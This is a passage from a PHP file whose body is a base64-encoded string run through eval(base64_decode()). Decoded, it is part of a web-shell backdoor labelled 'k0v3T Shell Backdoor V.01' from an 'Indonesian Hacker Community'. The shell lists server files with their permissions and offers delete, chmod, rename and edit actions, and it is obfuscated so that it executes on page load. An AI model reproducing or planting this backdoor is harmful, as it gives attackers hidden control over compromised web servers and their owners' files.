ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval(base64_decode($code));
?>